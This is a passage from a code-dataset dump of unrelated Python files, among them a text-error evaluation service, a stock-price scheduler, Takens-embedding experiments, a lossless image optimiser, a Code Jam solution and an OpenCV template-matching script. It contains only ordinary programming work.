predicted_flagged_spans, _, _ = find_words_out_of_context(text_obj, trigram_counter, spell_checker)\n tp = 0\n fp = 0\n tn = 0\n fn = 0\n fp_list = []\n fn_list = []\n\n print('true flagged')\n for span in true_flagged_spans:\n print(\"text = %s, %i - %i\" %(span.text, span.start_idx, span.end_idx))\n if span in predicted_flagged_spans:\n tp += 1\n else:\n fn += 1\n fn_list.append(span)\n\n print('predicted flagged')\n for span in predicted_flagged_spans:\n print(\"text = %s, %i - %i\" %(span.text, span.start_idx, span.end_idx))\n\n if span not in true_flagged_spans:\n fp += 1\n fp_list.append(span)\n\n precision, recall, f1 = get_precision_recall_f1(tp, fp, fn)\n\n print(\"done test from file\")\n return {\n 'metrics':{\n 'precision': precision,\n 'recall': recall,\n 'f1': f1\n },\n 'spans':{\n 'fp':fp_list,\n 'fn':fn_list\n },\n 'counts':{\n 'tp':tp,\n 'fp':fp,\n 'fn':fn\n },\n 'text': text_obj.text\n }\n\ndef test_logic_api(test_set):\n results = []\n for instance in test_set['test_instances']:\n text = instance['text']\n flagged_spans = instance['flagged_spans']\n span_list = []\n\n for fs in flagged_spans:\n span_list.append(\n Span(fs['text'], fs['start_idx']-1, fs['end_idx']-1)\n )\n print(span_list)\n results.append(\n test_logic(\n text,\n span_list,\n current_app.trigram_counter,\n current_app.spell_checker\n )\n )\n global_metrics = get_global_metrics(results)\n return global_metrics\n\ndef parse_test_instance(path):\n flagged_spans = []\n with open(path, 'r+', encoding=\"utf8\") as input_file:\n for i,line in enumerate(input_file):\n if i == 0:\n text = line.replace('\\n','').replace('\\r','')\n else:\n values = line.split('\\t')\n try:\n span = Span(values[0], int(values[1])-1, int(values[2])-1)\n flagged_spans.append(span)\n except Exception as e:\n print(e)\n return text,flagged_spans\n","repo_name":"raskolnnikov/med-grammar-api","sub_path":"app/main/service/testing_service.py","file_name":"testing_service.py","file_ext":"py","file_size_in_byte":2714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71694748354","text":"# runapscheduler.py\nimport logging\nfrom datetime import date\n\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\n\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom apscheduler.triggers.cron import CronTrigger\n\nfrom apscheduler.schedulers.blocking import BlockingScheduler\nfrom apscheduler.triggers.cron import CronTrigger\n\nfrom django_apscheduler.jobstores import DjangoJobStore\nfrom django_apscheduler.models import DjangoJobExecution\nfrom django_apscheduler import util\n\n\nfrom yahooquery import Ticker\n\nlogger = logging.getLogger(__name__)\n\ndef retreive():\n from retreive.models import Retreive, Price\n\n for s in Retreive.objects.all():\n ticker = Ticker(s.symbol).price\n\n obj, created = Price.objects.get_or_create(\n symbol = s.symbol,\n datetime = ticker[s.symbol]['regularMarketTime']\n )\n if created:\n obj.price = ticker[s.symbol]['regularMarketPrice'] \n obj.save()\n logger.info(f\"{s.symbol} - Captured price\")\n else:\n logger.info(f\"{s.symbol} - Skipped creating duplicate price\")\n\n@util.close_old_connections\ndef delete_old_job_executions(max_age=180_000):\n \"\"\"\n This job deletes APScheduler job execution entries older than `max_age` from the database.\n It helps to prevent the database from filling up with old historical records that are no\n longer useful.\n \n :param max_age: The maximum length of time to retain historical job execution records.\n Defaults to 7 days.\n \"\"\"\n DjangoJobExecution.objects.delete_old_job_executions(max_age)\n\n\nclass Command(BaseCommand):\n help = \"Runs APScheduler.\"\n\n def handle(self, *args, **options):\n scheduler = BlockingScheduler(timezone=settings.TIME_ZONE)\n scheduler.add_jobstore(DjangoJobStore(), \"default\")\n\n scheduler.add_job(\n retreive,\n trigger=CronTrigger.from_crontab(\"* 13-19 * * 0-4\"),\n id=\"retreive\",\n replace_existing=True,\n )\n\n scheduler.add_job(\n delete_old_job_executions,\n trigger=CronTrigger(\n day_of_week=\"*\", hour=\"00\", minute=\"00\"\n ),\n id=\"delete_old_job_executions\",\n max_instances=1,\n replace_existing=True,\n )\n\n\n try:\n logger.info(\"Starting scheduler...\")\n scheduler.start()\n except KeyboardInterrupt:\n logger.info(\"Stopping scheduler...\")\n scheduler.shutdown()\n logger.info(\"Scheduler shut down successfully!\")\n","repo_name":"jfmatth/stock-prices","sub_path":"retreive/management/commands/apschedule.py","file_name":"apschedule.py","file_ext":"py","file_size_in_byte":2479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19558978079","text":"import pandas as pd \nimport matplotlib.pyplot as plt \nimport numpy as np\nimport seaborn as sns\nimport scipy.stats as stats\nimport statsmodels.stats.api as sms\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# Stocks\n\nimport pandas as pd\nimport yfinance as yf\nimport datetime\nimport time\nimport requests\nimport io\n\nstart = datetime.datetime(2015,1,1)\nend = datetime.datetime(2019,11,30)\n\ntick = 'AAPL'\nstock = yf.download(tick,start=start, end=end, progress=False)\nstock.columns = stock.columns.str.lower()\n\nstock.close.plot();\n\nimport statsmodels.api as sm\n\nsm.graphics.tsa.plot_acf(stock.close, lags = 200);\n\ndef diffdf(df:\"pd.DataFrame\", var:str, interval:int = 1) -> \"pd.DataFrame\":\n '''\n Takes a dataframe with a var column which is a time series and returns new dataframe\n with a new variable which results from the difference of time t and time t minus interval\n '''\n # internal func\n series = df[var]\n\n diff = list()\n for i in range(interval, len(series)):\n value = series[i] - series[i - interval]\n diff.append(value)\n\n diff = pd.Series(diff)\n\n # new dataframe with only relevant rows to plot\n newdf = df[interval:]\n\n # final dataframea\n newdf[f'diff_{interval}'] = diff.values\n\n return newdf\n\ndef embed(df:\"pd.DataFrame\", var:str, m:int, lag:int):\n\n# Embedding\n\n\tfrom gtda.time_series import TakensEmbedding\n\t\n\t# embed = TakensEmbedding(time_delay = 3, dimension = 2)\n\t\n\t# series = stock['close'].values.reshape(-1,1)\n\t# series\n\t\n\t# embed.fit_transform(X = series)\n\t\n\tlag = 15\n\t_x = stock.close[:-lag]\n\t# dropa index do segundo\n\t_y = stock.close[lag:].reset_index(drop=True).values\n\tdfnew = pd.DataFrame({'x':_x,'y':_y}); x = dfnew.x; y = dfnew.y\n\tplt.scatter(x,y)\n\ndef embed(series:\"pd.Series\", lag:int, plot:bool = True):\n lag = 15\n _x = series[:-lag]\n # dropa index do segundo\n _y = series[lag:].reset_index(drop=True).values\n dfnew = pd.DataFrame({'x':_x,'y':_y}); x = dfnew.x; y = dfnew.y\n if plot:\n plt.scatter(x=x,y=y)\n\n## Seno\n\nseno = pd.Series(np.sin(range(0,100)))\n# plt.plot(seno);\nsm.graphics.tsa.plot_acf(seno);\n\nembed(seno,3)\n\nseries = seno\nlag = 15\n_x = series[:-2*lag]\n_y = series[lag:-lag].reset_index(drop=True).values\n_z = series[2*lag:].reset_index(drop=True).values\ndfnew = pd.DataFrame({'x':_x,'y':_y,'z':_z}); x = dfnew.x; y = dfnew.y; z = dfnew.z\n\n### Kaggle - Taken's Embedding\n\n#Full credits on https://www.kaggle.com/tigurius/introduction-to-taken-s-embedding\n\ndef takensEmbedding (data, delay, dimension):\n \"This function returns the Takens embedding of data with delay into dimension, delay*dimension must be < len(data)\"\n if delay*dimension > len(data):\n raise NameError('Delay times dimension exceed length of data!') \n embeddedData = np.array([data[0:len(data)-delay*dimension]])\n for i in range(1, dimension):\n embeddedData = np.append(embeddedData, [data[i*delay:len(data) - delay*(dimension - i)]], axis=0)\n return embeddedData;\n\naapl = stock.close.values\n\nembedded = takensEmbedding(aapl, delay = 90, dimension = 6)\nembedded\n\n# load some standard libraries\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport os\nimport math #math fun\nimport matplotlib.pyplot as plt #plotting\nfrom mpl_toolkits.mplot3d import Axes3D #3d plots\nfrom sklearn.neighbors import NearestNeighbors \n\n#load weather data that will be used in the script\ncityTable = pd.read_csv('data/city_attributes.csv')\ntemperatureDF = pd.read_csv('data/temperature.csv', index_col=0)\ntemperatureDF.index = pd.to_datetime(temperatureDF.index)\n\n#Apply Takens embedding to daily weather data of Montreal\nt = pd.date_range(pd.to_datetime('22/6/2015',dayfirst=True),pd.to_datetime('31/8/2015',dayfirst=True),freq='H')\nweatherDataMontreal = temperatureDF.loc[t,'Montreal'];\norigSignal = weatherDataMontreal;\n#we are interested in the daily dynamics, so we have to highpass-filter the signal \n#to remove the monthly and yearly dynamics\n#apply rolling mean over one day and plot the signal (low pass filter) \nwindowSize = 24\nlowPassFilteredSignal = weatherDataMontreal.rolling(windowSize, center=True).mean()\n# subtract the low pass filtered singal from the original to get high pass filtered signal\nweatherDataMontreal = weatherDataMontreal - lowPassFilteredSignal\n#remove all NaNs\nweatherDataMontreal = weatherDataMontreal.dropna()\n#embedd into two dimensions\nembeddedWeather = takensEmbedding(weatherDataMontreal,5,2);\n#plot the time-series and the embedded one \nfig, ax = plt.subplots(nrows=3,ncols=1,figsize=(15,14));\nax[0].plot(weatherDataMontreal);\nax[1].plot(embeddedWeather[0,:],embeddedWeather[1,:]);\nax[2].axis('off')\n#embed into three dimensions\nembeddedWeather3 = takensEmbedding(weatherDataMontreal, 6,3);\n#plot the 3D embedding\nax = fig.add_subplot(3, 1, 3, projection='3d')\nax.plot(embeddedWeather3[0,:],embeddedWeather3[1,:],embeddedWeather3[2,:]);\n\ndef mutualInformation(data, delay, nBins):\n \"This function calculates the mutual information given the delay\"\n I = 0;\n xmax = max(data);\n xmin = min(data);\n delayData = data[delay:len(data)];\n shortData = data[0:len(data)-delay];\n sizeBin = abs(xmax - xmin) / nBins;\n #the use of dictionaries makes the process a bit faster\n probInBin = {};\n conditionBin = {};\n conditionDelayBin = {};\n for h in range(0,nBins):\n if h not in probInBin:\n conditionBin.update({h : (shortData >= (xmin + h*sizeBin)) & (shortData < (xmin + (h+1)*sizeBin))})\n probInBin.update({h : len(shortData[conditionBin[h]]) / len(shortData)});\n for k in range(0,nBins):\n if k not in probInBin:\n conditionBin.update({k : (shortData >= (xmin + k*sizeBin)) & (shortData < (xmin + (k+1)*sizeBin))});\n probInBin.update({k : len(shortData[conditionBin[k]]) / len(shortData)});\n if k not in conditionDelayBin:\n conditionDelayBin.update({k : (delayData >= (xmin + k*sizeBin)) & (delayData < (xmin + (k+1)*sizeBin))});\n Phk = len(shortData[conditionBin[h] & conditionDelayBin[k]]) / len(shortData);\n if Phk != 0 and probInBin[h] != 0 and probInBin[k] != 0:\n I -= Phk * math.log( Phk / (probInBin[h] * probInBin[k]));\n return I;\n\ndatDelayInformation = []\nfor i in range(1,21):\n datDelayInformation = np.append(datDelayInformation,[mutualInformation(weatherDataMontreal,i,16)])\nplt.plot(range(1,21),datDelayInformation);\nplt.xlabel('delay');\nplt.ylabel('mutual information');\n\n#embedd into two dimensions\nembeddedWeather = takensEmbedding(weatherDataMontreal,5,2);\n#plot the time-series and the embedded one \nfig, ax = plt.subplots(nrows=1,ncols=2,figsize=(15,14));\nax[0].plot(embeddedWeather[0,:],embeddedWeather[1,:]);\nax[0].set_xlabel('$x_i$');\nax[0].set_ylabel('$x_{i+5}$');\n#now with delay=1\nembeddedWeather = takensEmbedding(weatherDataMontreal,1,2);\nax[1].plot(embeddedWeather[0,:],embeddedWeather[1,:]);\nax[1].set_xlabel('$x_i$');\nax[1].set_ylabel('$x_{i+1}$');\n","repo_name":"vitorpbarbosa7/data_science_general_concepts","sub_path":"01_timeseries/09_takens_embedding.py","file_name":"09_takens_embedding.py","file_ext":"py","file_size_in_byte":7054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31239436965","text":"import collections\nimport contextlib\nimport logging\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom PIL import Image\n\n\ndef _images_are_equal(filename1, filename2):\n # We need to convert both images to the same format, as the resulting one\n # may have lost the alpha channel (alpha=255) or may be now indexed\n # (L or P mode).\n # We also need to check whether the alpha value is '\\x00' in which case the\n # RGB value is not important.\n img1 = Image.open(filename1).convert('RGBA')\n img2 = Image.open(filename2).convert('RGBA')\n\n img1_bytes = img1.tobytes()\n img2_bytes = img2.tobytes()\n\n if len(img1_bytes) != len(img2_bytes):\n return False\n\n # HACK to support comparison in both Python 2 and 3. Subscripting a\n # bytes (string) in Python 2 returns a string, whereas in Python 3 returns\n # ints.\n null_byte = b'\\x00'[0]\n for i in range(len(img1_bytes) // 4):\n pos = 4 * i\n if (img1_bytes[pos + 3] == null_byte and\n img2_bytes[pos + 3] == null_byte):\n continue\n\n if img1_bytes[pos:pos + 4] != img2_bytes[pos:pos + 4]:\n return False\n\n return True\n\n\ndef _get_temporary_filename(prefix='tmp'):\n temp_file = tempfile.NamedTemporaryFile(prefix=prefix)\n temp_name = temp_file.name\n temp_file.close()\n\n return temp_name\n\n\n@contextlib.contextmanager\ndef _temporary_filenames(total):\n \"\"\"Context manager to create temporary files and remove them after use.\"\"\"\n temp_files = [_get_temporary_filename('optimage-') for i in range(total)]\n yield temp_files\n for temp_file in temp_files:\n try:\n os.remove(temp_file)\n except OSError:\n # Continue in case we could not remove the file. One reason is that\n # the fail was never created.\n pass\n\n\nclass InvalidExtension(Exception):\n \"\"\"The file extension does not correspond to the file contents.\"\"\"\n\n\nif sys.version_info.major == 2:\n FileNotFoundError = OSError\nelse:\n FileNotFoundError = FileNotFoundError\n\n\nclass MissingBinary(FileNotFoundError):\n \"\"\"The binary does not exist.\"\"\"\n\n\ndef _call_binary(args):\n try:\n return subprocess.check_output(args, stderr=subprocess.STDOUT)\n except FileNotFoundError as error:\n raise MissingBinary(error.errno, 'binary not found', args[0])\n\n\ndef _pngcrush(input_filename, output_filename):\n _call_binary(['pngcrush', '-rem', 'alla', '-reduce', '-brute', '-q',\n input_filename, output_filename])\n\n\ndef _optipng(input_filename, output_filename):\n _call_binary(['optipng', '-out', output_filename, '-o9', '-quiet',\n input_filename])\n\n\ndef _jpegtran(input_filename, output_filename):\n _call_binary(['jpegtran', '-copy', 'none', '-optimize', '-perfect',\n '-outfile', output_filename, input_filename])\n\n\ndef _jpegoptim(input_filename, output_filename):\n # jpegoptim replaces the input file with the compressed version, so we first\n # need to copy the input file to the output file.\n shutil.copy(input_filename, output_filename)\n _call_binary(['jpegoptim', '--strip-all', '--quiet', output_filename])\n\n\n_CompressorResult = collections.namedtuple('_CompressorResult',\n ['size', 'filename', 'compressor'])\n\n\ndef _process(compressor, input_filename, output_filename):\n \"\"\"Helper function to compress an image.\n\n Returns:\n _CompressorResult named tuple, with the resulting size, the name of the\n output file and the name of the compressor.\n \"\"\"\n compressor(input_filename, output_filename)\n result_size = os.path.getsize(output_filename)\n\n return _CompressorResult(result_size, output_filename, compressor.__name__)\n\n\ndef _compress_with(input_filename, output_filename, compressors):\n \"\"\"Helper function to compress an image with several compressors.\n\n In case the compressors do not improve the filesize or in case the resulting\n image is not equivalent to the source, then the output will be a copy of the\n input.\n \"\"\"\n with _temporary_filenames(len(compressors)) as temp_filenames:\n results = []\n for compressor, temp_filename in zip(compressors, temp_filenames):\n results.append(_process(compressor, input_filename, temp_filename))\n best_result = min(results)\n os.rename(best_result.filename, output_filename)\n\n best_compressor = best_result.compressor\n if best_result.size >= os.path.getsize(input_filename):\n best_compressor = None\n\n if (best_compressor is not None and\n not _images_are_equal(input_filename, output_filename)):\n logging.info('Compressor \"%s\" generated an invalid image for \"%s\"',\n best_compressor, input_filename)\n best_compressor = None\n\n if best_compressor is None:\n shutil.copy(input_filename, output_filename)\n\n logging.info('%s: best compressor for \"%s\"', best_compressor,\n input_filename)\n\n\ndef jpeg_compressor(input_filename, output_filename):\n \"\"\"Loslessly recompress a JPEG.\n \"\"\"\n _compress_with(input_filename, output_filename, [_jpegtran, _jpegoptim])\n\n\ndef png_compressor(input_filename, output_filename):\n \"\"\"Loslessly recompress a JPEG.\n \"\"\"\n _compress_with(input_filename, output_filename, [_pngcrush, _optipng])\n\n\n_EXTENSION_MAPPING = {\n '.jpeg': jpeg_compressor,\n '.jpg': jpeg_compressor,\n '.png': png_compressor,\n}\n\n\ndef optimage(filename):\n _, extension = os.path.splitext(filename)\n extension = extension.lower()\n compressor = _EXTENSION_MAPPING.get(extension)\n if compressor is None:\n print(\n 'No lossless compressor defined for extension \"{}\"\\n'.format(\n extension))\n return\n\n with _temporary_filenames(1) as temp_filenames:\n output_filename = temp_filenames[0]\n try:\n compressor(filename, output_filename)\n except MissingBinary as error:\n print(\n 'The executable \"{}\" was not found. '.format(error.filename) +\n 'Please install it and re-run this command.\\n')\n return\n except subprocess.CalledProcessError as error:\n print(\n 'Error when running the command:\\n ' +\n '{}\\n'.format(' '.join(error.cmd)))\n print('Status: {}\\n'.format(error.returncode))\n print('Output:\\n')\n print(error.output.decode('utf-8'))\n return\n\n original_size = os.path.getsize(filename)\n new_size = os.path.getsize(output_filename)\n reduction = original_size - new_size\n reduction_percentage = reduction * 100 / original_size\n savings = 'savings: {} bytes = {:.2f}%'.format(\n reduction, reduction_percentage)\n\n if new_size < original_size:\n shutil.copy(output_filename, filename)\n print('File was losslessly compressed to {} bytes ({})'.format(\n new_size, savings))\n else:\n print('No further compression achieved')\n","repo_name":"jpsca/moar","sub_path":"moar/optimage.py","file_name":"optimage.py","file_ext":"py","file_size_in_byte":7137,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"61"} +{"seq_id":"5118078922","text":"import csv\r\n\r\n\r\ncsvpath = \"Resources/budget_data.csv\"\r\n\r\n\r\n# lists to separate the two columns\r\ndate = []\r\npl = []\r\n\r\n\r\nwith open(csvpath,\"r\") as csvhandler:\r\n csvreader = csv.reader(csvhandler,delimiter=\",\")\r\n csvreaders = next(csvreader)\r\n \r\n for row in csvreader:\r\n date.append(row[0])\r\n pl.append(row[1])\r\n \r\n print(str(len(date)))","repo_name":"sumiemma/Python-Challenge","sub_path":"PyBank/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23614032151","text":"def main(inputFileName):\r\n OUTPUT_FILE_LOCATION = r'./Outputs/BotTrust.out' \r\n inputFile = open(inputFileName, 'r')\r\n outputFile = open(OUTPUT_FILE_LOCATION, 'w')\r\n\r\n numTestCases = inputFile.readline()\r\n\r\n numTestCases = int(numTestCases) \r\n\r\n for caseNumber in range(1, numTestCases + 1):\r\n performBotTask(caseNumber, inputFile, outputFile)\r\n\r\n inputFile.close()\r\n outputFile.close()\r\n\r\ndef performBotTask(caseNumber, inputFile, outputFile):\r\n BLUE = 'B'\r\n ORANGE = 'O'\r\n\r\n botTasksToPerform = inputFile.readline()\r\n\r\n botTasks = botTasksToPerform.split()\r\n\r\n #Drop the First entry which is the number of button presses\r\n botTasks = botTasks[1:]\r\n\r\n orangeButtonPresses = []\r\n blueButtonPresses = []\r\n colorSequence = []\r\n\r\n lastBotSeen = None \r\n\r\n for task in botTasks:\r\n if task == ORANGE:\r\n lastBotSeen = ORANGE\r\n colorSequence.append(ORANGE)\r\n elif task == BLUE:\r\n lastBotSeen = BLUE\r\n colorSequence.append(BLUE)\r\n else:\r\n if lastBotSeen == BLUE:\r\n blueButtonPresses.append(int(task))\r\n elif lastBotSeen == ORANGE:\r\n orangeButtonPresses.append(int(task))\r\n\r\n totalTime = 0 \r\n orangeBotLocation = 1\r\n blueBotLocation = 1\r\n\r\n for color in colorSequence:\r\n if color == ORANGE:\r\n while orangeButtonPresses and \\\r\n orangeBotLocation != orangeButtonPresses[0]:\r\n totalTime += 1\r\n\r\n if orangeBotLocation < orangeButtonPresses[0]:\r\n orangeBotLocation += 1\r\n else:\r\n orangeBotLocation -= 1\r\n\r\n if blueButtonPresses and \\\r\n blueBotLocation != blueButtonPresses[0]:\r\n if blueBotLocation < blueButtonPresses[0]:\r\n blueBotLocation += 1\r\n else:\r\n blueBotLocation -= 1\r\n\r\n #Push Orange's Button\r\n totalTime += 1\r\n orangeButtonPresses = orangeButtonPresses[1:]\r\n\r\n #If Blue is still not in position move him in the right direction...\r\n if blueButtonPresses and \\\r\n blueBotLocation != blueButtonPresses[0]:\r\n if blueBotLocation < blueButtonPresses[0]:\r\n blueBotLocation += 1\r\n else:\r\n blueBotLocation -= 1\r\n\r\n elif color == BLUE:\r\n while blueButtonPresses and \\\r\n blueBotLocation != blueButtonPresses[0]:\r\n totalTime += 1\r\n\r\n if blueBotLocation < blueButtonPresses[0]:\r\n blueBotLocation += 1\r\n else:\r\n blueBotLocation -= 1\r\n\r\n if orangeButtonPresses and \\\r\n orangeBotLocation != orangeButtonPresses[0]:\r\n if orangeBotLocation < orangeButtonPresses[0]:\r\n orangeBotLocation += 1\r\n else:\r\n orangeBotLocation -= 1\r\n\r\n #Push Blue's Button\r\n totalTime += 1\r\n blueButtonPresses = blueButtonPresses[1:]\r\n\r\n #If Orange is still not in position move him in the right direction...\r\n if orangeButtonPresses and \\\r\n orangeBotLocation != orangeButtonPresses[0]:\r\n if orangeBotLocation < orangeButtonPresses[0]:\r\n orangeBotLocation += 1\r\n else:\r\n orangeBotLocation -= 1\r\n\r\n caseNumberOutput = 'Case #%s: %s' % (caseNumber, totalTime)\r\n\r\n outputFile.write(caseNumberOutput + '\\n')\r\n\r\nif __name__ == '__main__':\r\n import sys\r\n main(sys.argv[1])\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_74/321.py","file_name":"321.py","file_ext":"py","file_size_in_byte":3262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30082201711","text":"def wave(arr):\n\tarr.sort()\n\n\tfor i in range(0,len(arr)-2,2):\n\t\tarr[i], arr[i+1]= arr[i+1], arr[i]\n\n\treturn arr\n\narr=[3, 6, 5, 10, 7, 20]\nprint(wave(arr))\n\n\n'''\nSort an array in wave form\n\nGiven an unsorted array of integers, sort the array into a wave like array. An array ‘arr[0..n-1]’ is sorted in wave form if arr[0] >= arr[1] <= arr[2] >= arr[3] <= arr[4] >= …..\nInput: arr[] = {3, 6, 5, 10, 7, 20}\nOutput: arr[] = {6, 3, 10, 5, 20, 7} OR any other array that is in wave form\n'''","repo_name":"zvut/CODING-PRACTICE","sub_path":"wave.py","file_name":"wave.py","file_ext":"py","file_size_in_byte":490,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"593759907","text":"import numpy as np\nimport cv2\nfrom imutils.object_detection import non_max_suppression\nimport imutils\n\nclass POI:\n\tdef __init__(self, x, y, w, h, weight):\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.w = w\n\t\tself.h = h\n\t\tself.weight = weight\n\npoints_of_interest = []\n\n# Takes in two images and applies scale-independent\n# template matching to find template in target by scaling down\n# template image multiple times and using edge detection to match.\ndef ScaledTemplateMatching(target, template):\n\t#edge detection on both images:\n\tgray_target = cv2.cvtColor(target, cv2.COLOR_BGR2GRAY)\n\tgray_template = cv2.cvtColor(template, cv2.COLOR_BGR2GRAY)\n\tblurred_target = cv2.GaussianBlur(gray_target, (3, 3), 0)\n\tblurred_template = cv2.GaussianBlur(gray_template, (3, 3), 0)\n\ttarget_edges = cv2.Canny(blurred_target, 30, 200)\n\n\tfor scale in np.linspace(0.08, 1.0, 30)[::-1]:\n\t\t# resize the image according to the scale\n\t\tnewX, newY = template.shape[1] * scale, template.shape[0] * scale\n\t\tscaled_template = cv2.resize(gray_template, (int(newX), int(newY)))\n\n\t\tfor angle in np.arange(0, 60, 10):\n\t\t\trotated = imutils.rotate(scaled_template, angle)\n\t\t\ttemplate_edges = cv2.Canny(rotated, 30, 200)\n\t\t\n\t\t\tif target.shape[0] > newX and target.shape[1] > newY:\n\t\n\t\t\t\tresult = cv2.matchTemplate(target_edges, template_edges, cv2.TM_CCOEFF_NORMED)\n\t\t\t\t#threshold variable for matches\n\t\t\t\tthreshold = 0.3\n\t\t\t\tloc = np.where(result >= threshold)\n\n\n\t\t\t\tfor pt in zip(*loc[::-1]):\n\t\t\t\t\tpoints_of_interest.append(POI(int(pt[0]), int(pt[1]), int(pt[0] + newX), int(pt[1] + newY), 1))\n\n\n\n#variables used in text detecion\nlayerNames = [\n\t\"feature_fusion/Conv_7/Sigmoid\",\n\t\"feature_fusion/concat_3\"]\nnet = cv2.dnn.readNet('resources/east_text_detection.pb')\n\n# uses the EAST text detector to detect any text in scene\n# adds all detected text as a POI\ndef TextDetection(target, min_confidence):\n\twidth = target.shape[1]\n\theight = target.shape[0]\n\tnew_width = 320\n\tnew_height = 320\n\tresized_target = cv2.resize(target, (new_width, new_height))\n\tblob = cv2.dnn.blobFromImage(resized_target, 1.0, (new_width, new_height), \n\t\t(123.68, 116.78, 103.94), swapRB=True, crop=False)\n\tnet.setInput(blob)\n\t(scores, geometry) = net.forward(layerNames)\n\t(numRows, numCols) = scores.shape[2:4]\n\trects = []\n\tconfidences = []\n\n\t# loop over the number of rows\n\tfor y in range(0, numRows):\n\t\t# extract the scores (probabilities), followed by the geometrical\n\t\t# data used to derive potential bounding box coordinates tha\n\t\t# surround text\n\t\tscoresData = scores[0, 0, y]\n\t\txData0 = geometry[0, 0, y]\n\t\txData1 = geometry[0, 1, y]\n\t\txData2 = geometry[0, 2, y]\n\t\txData3 = geometry[0, 3, y]\n\t\tanglesData = geometry[0, 4, y]\n\t\t\n\t\tfor x in range(0, numCols):\n\n\t\t\tif scoresData[x] < min_confidence:\n\t\t\t\tcontinue\n\t\n\t\t\t# compute the offset factor as our resulting feature maps will\n\t\t\t# be 4x smaller than the input image\n\t\t\t(offsetX, offsetY) = (x * 4.0, y * 4.0)\n\t\n\t\t\tangle = anglesData[x]\n\t\t\tcos = np.cos(angle)\n\t\t\tsin = np.sin(angle)\n\t\t\t\n\t\t\th = xData0[x] + xData2[x]\n\t\t\tw = xData1[x] + xData3[x]\n\t\n\t\t\t# compute both the starting and ending (x, y)-coordinates for\n\t\t\t# the text prediction bounding box\n\t\t\tendX = int(offsetX + (cos * xData1[x]) + (sin * xData2[x]))\n\t\t\tendY = int(offsetY - (sin * xData1[x]) + (cos * xData2[x]))\n\t\t\tstartX = int(endX - w)\n\t\t\tstartY = int(endY - h)\n\t\n\t\t\t# add the bounding box coordinates and probability score to\n\t\t\t# our respective lists\n\t\t\trects.append((startX, startY, endX, endY))\n\t\t\tconfidences.append(scoresData[x])\n\t\t\n\t\t# apply non-maxima suppression to suppress weak, overlapping bounding\n\t\t# boxes\n\t\tboxes = non_max_suppression(np.array(rects), probs=confidences)\n\t\t\n\t# loop over the bounding boxes\n\tfor (startX, startY, endX, endY) in boxes:\n\t\t# scale the bounding box coordinates based on the respective\n\t\t# ratios\n\t\twidth_ratio = width / float(new_width)\n\t\theight_ratio = height / float(new_height)\n\n\t\tstartX = int(startX * width_ratio)\n\t\tstartY = int(startY * height_ratio)\n\t\tendX = int(endX * width_ratio)\n\t\tendY = int(endY * height_ratio)\n\t\n\t\tpoints_of_interest.append(POI(startX, startY, endX, endY, 1))\n\n\n\n#Main script:\nprint(\"started main\")\n\ntarget = cv2.imread('resources/images/air1.jpg')\ntemplate = cv2.imread('resources/images/filled-star-of-life.jpg')\n\n#text_img = cv2.imread('resources/images/ambulance-back.jpg')\n#TextDetection(text_img, 0.7)\n\nScaledTemplateMatching(target, template)\n\nfor point in points_of_interest:\n\tcv2.rectangle(target, (point.x, point.y), (point.w, point.h), (0,255,255), 2)\n\ncv2.imshow(\"image\", target)\ncv2.waitKey(0)\n\n#cv2.imshow('final', ambulance)\n#cv2.waitKey(0)\n#cv2.destroyAllWindows()\n\n#ret, thresh = cv2.threshold(imgray, 120, 255, 0)\n#im2, contours, hierarchy = cv2.findContours(imgray, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n#cnt = contours[0]\n#cv2.drawContours(im2, contours, -1, (0,255,0), 3)\n#x,y,w,h = cv2.boundingRect(cnt)\n#cv2.rectangle(im2,(x,y),(x+w,y+h),(0,255,0),2)\n\n\"\"\"\nthresh = auto_thresh(ambulance)\nret, thresh = cv2.threshold(imgray, 120, 255, 0)\nim2, contours, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\ncnt = contours[0]\nfor contour in contours:\n\tarea = cv2.contourArea(contour)\n\tif area > 0:\n\t\tcv2.drawContours(ambulance, contour, -1, (0,255,0), 3)\n\t\tx,y,w,h = cv2.boundingRect(contour)\n\t\tcv2.rectangle(ambulance,(x,y),(x+w,y+h),(255,0,0),2)\n\"\"\"\n\n\"\"\"\ndef auto_canny(image):\n\tsigma = 0.33\n\tv = np.median(image)\n \n\tlower = int(max(0, (1.0 - sigma) * v))\n\tupper = int(min(255, (1.0 + sigma) * v))\n\tedged = cv2.Canny(image, lower, upper)\n \n\treturn edged\n\"\"\"\n","repo_name":"bharraz/NGPython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71490246593","text":"\"\"\"\r\n问题描述\r\n  在一条街上有n个卖菜的商店,按1至n的顺序排成一排,这些商店都卖一种蔬菜。\r\n  第一天,每个商店都自己定了一个价格。店主们希望自己的菜价和其他商店的一致,\r\n 第二天,每一家商店都会根据他自己和相邻商店的价格调整自己的价格。具体的,\r\n 每家商店都会将第二天的菜价设置为自己和相邻商店第一天菜价的平均值(用去尾法取整)。\r\n  注意,编号为1的商店只有一个相邻的商店2,编号为n的商店只有一个相邻的商店n-1,\r\n 其他编号为i的商店有两个相邻的商店i-1和i+1。\r\n  给定第一天各个商店的菜价,请计算第二天每个商店的菜价。\r\n输入格式\r\n  